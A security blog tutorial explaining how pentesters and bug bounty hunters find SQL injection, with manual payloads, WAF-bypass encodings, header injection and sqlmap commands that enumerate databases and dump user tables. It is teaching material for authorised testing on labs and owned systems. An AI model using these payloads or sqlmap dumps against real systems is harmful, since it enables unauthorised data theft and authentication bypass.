Blog
web-security

How to Find SQL Injection Vulnerabilities: A Practical Pentester's Guide

Learn how to find SQL injection vulnerabilities using manual payloads, sqlmap, and Burp Suite. A practical step-by-step guide for pentesters and bug bounty hunters.

By V. Kaur

SQL injection remains one of the most prevalent and dangerous vulnerabilities in web applications. Despite being first documented in the late 1990s, it still tops vulnerability charts because developers keep making the same mistakes — and attackers keep exploiting them. If you're learning penetration testing or bug bounty hunting, mastering SQL injection detection is non-negotiable.

This guide walks you through exactly how to find SQL injection vulnerabilities — from manual testing techniques to automated scanning, with real commands you can run right now.

What Is SQL Injection?

SQL injection (SQLi) is a web security vulnerability that allows an attacker to interfere with the queries an application makes to its database. When user-supplied input is concatenated directly into SQL queries without proper sanitization, an attacker can manipulate the query logic to:

  • Extract sensitive data (usernames, passwords, credit card numbers)
  • Bypass authentication mechanisms
  • Modify or delete database records
  • In some cases, execute commands on the underlying server

A Simple Example of Vulnerable Code

Consider this PHP snippet:

php
$username = $_GET['username'];
$query = "SELECT * FROM users WHERE username = '$username'";
$result = mysqli_query($conn, $query);

If an attacker sends ' OR '1'='1, the query becomes:

sql
SELECT * FROM users WHERE username = '' OR '1'='1'

This returns all rows because 1=1 is always true. That's SQL injection in its simplest form.

Why Finding SQL Injection Vulnerabilities Matters

SQL injection consistently appears in the OWASP Top 10 under "Injection" — and for good reason. A single unpatched SQLi vulnerability can expose an entire database. In bug bounty programs, SQL injection findings are typically rated Critical or High severity, often paying out $1,000–$10,000+ on platforms like HackerOne and Bugcrowd.

Beyond the payout, the skill transfers everywhere. Once you understand how to identify improper input handling in SQL contexts, you'll start seeing similar patterns in LDAP injection, XPath injection, and NoSQL injection.

For a complete guide, see our Web Application Penetration Testing to understand how SQLi fits into the broader attack surface.

What You Need Before You Start

Tools

  • sqlmap — the industry-standard automated SQL injection scanner
  • Burp Suite (Community or Pro) — for intercepting and modifying HTTP requests
  • curl or wget — for manual payload testing
  • Firefox/Chrome + FoxyProxy — for routing traffic through Burp
  • A legal target — your own app, a CTF challenge, or a deliberately vulnerable app like DVWA, HackTheBox, or CyberVK's web security labs

> Important: Only test for SQL injection on systems you own or have explicit written permission to test. Unauthorized testing is illegal under the Computer Fraud and Abuse Act (CFAA) and equivalent laws worldwide.

Setting Up a Practice Environment

Before touching real targets, practice on intentionally vulnerable apps:

bash
# Pull and run DVWA with Docker
docker pull vulnerables/web-dvwa
docker run -d -p 80:80 vulnerables/web-dvwa

Or use CyberVK's guided SQL injection labs, which include pre-configured environments and step-by-step walkthroughs — no Docker setup required.

Step 1: Identify Injection Points

SQL injection only works where user input reaches a database query. Your first job is mapping every place the application accepts input.

Where to Look

  • URL parameters: https://example.com/item?id=5
  • POST body parameters: login forms, search boxes, registration forms
  • HTTP headers: User-Agent, Referer, X-Forwarded-For, Cookie values
  • JSON/XML data: APIs that accept structured data

Use Burp Suite's Proxy tab to capture every request and catalog all parameters. Turn on Intercept, browse the application thoroughly, then review the HTTP history.

Quick Manual Check

Add a single quote ' to any parameter and watch for database errors:

bash
curl "https://target.com/item?id=1'"

A response containing strings like:

  • You have an error in your SQL syntax
  • ORA-01756 (Oracle)
  • sqlite3.OperationalError
  • Microsoft OLE DB Provider for SQL Server

...is a strong indicator of SQL injection. The application is leaking raw database errors — a sign that input is being interpolated directly into a query.

Step 2: Manual Injection Testing

Automated tools are powerful, but manual testing teaches you what's actually happening. Start here.

Boolean-Based Detection

Send payloads that change the application's behavior based on true/false conditions:

bash
# Both requests go to the same endpoint — compare the responses
curl "https://target.com/item?id=1 AND 1=1"
curl "https://target.com/item?id=1 AND 1=2"

If the responses differ, the parameter is injectable.

Time-Based Blind Testing

When there's no visible output difference, use time delays:

sql
-- MySQL
id=1; SELECT SLEEP(5)--

-- PostgreSQL
id=1; SELECT pg_sleep(5)--

-- MSSQL
id=1; WAITFOR DELAY '0:0:5'--

If the response takes ~5 seconds longer than usual, you've confirmed blind SQL injection.

UNION-Based Extraction

If the application returns query results directly, UNION attacks let you append your own SELECT statement:

sql
-- First, find the number of columns
id=1 ORDER BY 1--
id=1 ORDER BY 2--
id=1 ORDER BY 3--  -- error here means 2 columns

-- Then extract data
id=-1 UNION SELECT username, password FROM users--

> The column count and data types must match the original query. Use NULL as a placeholder for columns you don't need: UNION SELECT NULL, username, NULL FROM users--

Error-Based Extraction

Some databases reveal data in error messages. On MySQL:

sql
id=1 AND extractvalue(1, concat(0x7e, (SELECT version())))

This forces a recoverable XML error that includes the MySQL version number in the message — useful when UNION isn't available.

Step 3: Automate Discovery with sqlmap

Once you've identified a potentially injectable parameter manually, sqlmap can confirm and exploit it efficiently.

Basic Usage

bash
# Test a GET parameter
sqlmap -u "https://target.com/item?id=1" --dbs

# Test a POST parameter
sqlmap -u "https://target.com/login" --data="username=admin&password=test" --dbs

# Using a saved Burp request file
sqlmap -r request.txt --dbs

Useful sqlmap Flags

bash
# Enumerate tables in a specific database
sqlmap -u "https://target.com/item?id=1" -D target_db --tables

# Dump a specific table
sqlmap -u "https://target.com/item?id=1" -D target_db -T users --dump

# Increase detection aggressiveness (1-5 scale)
sqlmap -u "https://target.com/item?id=1" --level=3 --risk=2

# Use a random User-Agent to avoid simple WAF detection
sqlmap -u "https://target.com/item?id=1" --random-agent

Saving Burp Requests for sqlmap

In Burp Suite, right-click any request → Save Item. Pass the saved file to sqlmap with -r:

bash
sqlmap -r /tmp/burp_request.txt --level=3 --dbs

This is the cleanest workflow for testing authenticated endpoints or complex POST bodies.

Step 4: Test for Second-Order SQL Injection

Second-order SQL injection (also called stored SQL injection) is frequently missed by automated scanners. Here's how it works:

  1. Attacker submits a payload like admin'-- as a username during registration
  2. The application stores it safely (with escaping) in the database
  3. Later, another function retrieves that stored value and uses it unsanitized in a new SQL query — triggering injection

To find second-order vulnerabilities:

  • Register accounts or create content with SQLi payloads as values
  • Monitor for errors or behavioral changes when those values are later used (profile updates, password resets, admin panels loading your username)
  • Trace application flow through source code if available

These findings are valuable in bug bounty because automated tools almost always miss them.

Step 5: Testing APIs and JSON Endpoints

Modern applications use REST APIs that send JSON — and these are absolutely injectable if the backend builds SQL queries from JSON values.

bash
# Testing a JSON POST body with curl
curl -X POST "https://api.target.com/users/search" \
  -H "Content-Type: application/json" \
  -d '{"username": "admin'\''OR '\''1'\''='\''1", "role": "user"}'

Or through Burp Suite's Repeater, modify the JSON directly:

json
{
  "id": "1 OR 1=1--",
  "filter": "active"
}

Look for the same indicators: error messages, response size differences, or time delays.

Common Mistakes That Lead to Missed Findings

1. Only Testing GET Parameters

Developers often sanitize URL parameters but forget POST body fields, headers, and cookies. Check everything.

2. Ignoring HTTP Headers

Applications that log user data to a database often inject the User-Agent or X-Forwarded-For header values into queries unsanitized:

bash
curl -H "X-Forwarded-For: 1' OR '1'='1" https://target.com/

3. Stopping at Error-Based Results

Just because a parameter doesn't throw a visible error doesn't mean it's safe. Always follow up with time-based and boolean-based payloads.

4. Not Encoding Payloads

Web Application Firewalls (WAFs) block obvious payloads. Try URL encoding or alternative syntax:

bash
# Instead of: ' OR '1'='1
# Try URL-encoded:
curl "https://target.com/item?id=1%27%20OR%20%271%27%3D%271"

# MySQL inline comment bypass
curl "https://target.com/item?id=-1+/*!UNION*/+/*!SELECT*/+username,password+FROM+users--"

5. Skipping Documentation

A SQL injection finding is only as strong as its write-up. Document every confirmed finding with the exact request, payload used, and the response that confirms it. This is what separates a credible bug bounty report from a dismissed one.

Reading the Results: What Counts as a Confirmed Finding

Type / Evidence
TypeEvidence
Error-basedDatabase error message in response
Boolean-basedDifferent responses for 1=1 vs 1=2 payloads
Time-basedMeasurable delay matching SLEEP/WAITFOR duration
UNION-basedDatabase table data appearing in response
Out-of-bandDNS/HTTP callback from the database server
Type / Evidence

All five types are valid, reportable vulnerabilities. Time-based blind is hardest to exploit but still critical severity — don't dismiss it.

If you're building this skill from scratch, follow this sequence:

  1. Learn SQL fundamentals — you can't inject what you don't understand
  2. Practice on DVWA at Low → Medium → High security settings
  3. Complete structured labs — CyberVK's web security labs walk you through blind, error-based, and UNION-based injection with guided hints
  4. Tackle HackTheBox or TryHackMe machines tagged with SQL injection
  5. Read real-world bug bounty disclosures on HackerOne's public program
  6. Hunt on live programs with broad scope on Bugcrowd or HackerOne

CyberVK's SQL Injection course covers all injection types, WAF bypass techniques, and exploitation automation — built specifically for people pursuing OSCP, eWPT, or bug bounty work.

Go Deeper

This article is part of our comprehensive Web Application Penetration Testing series. Once you've mastered this topic, explore the full guide to level up your skills.

Ready to practice? CyberVK has hands-on labs and courses for every skill level. Start learning at cybervk.com

All articles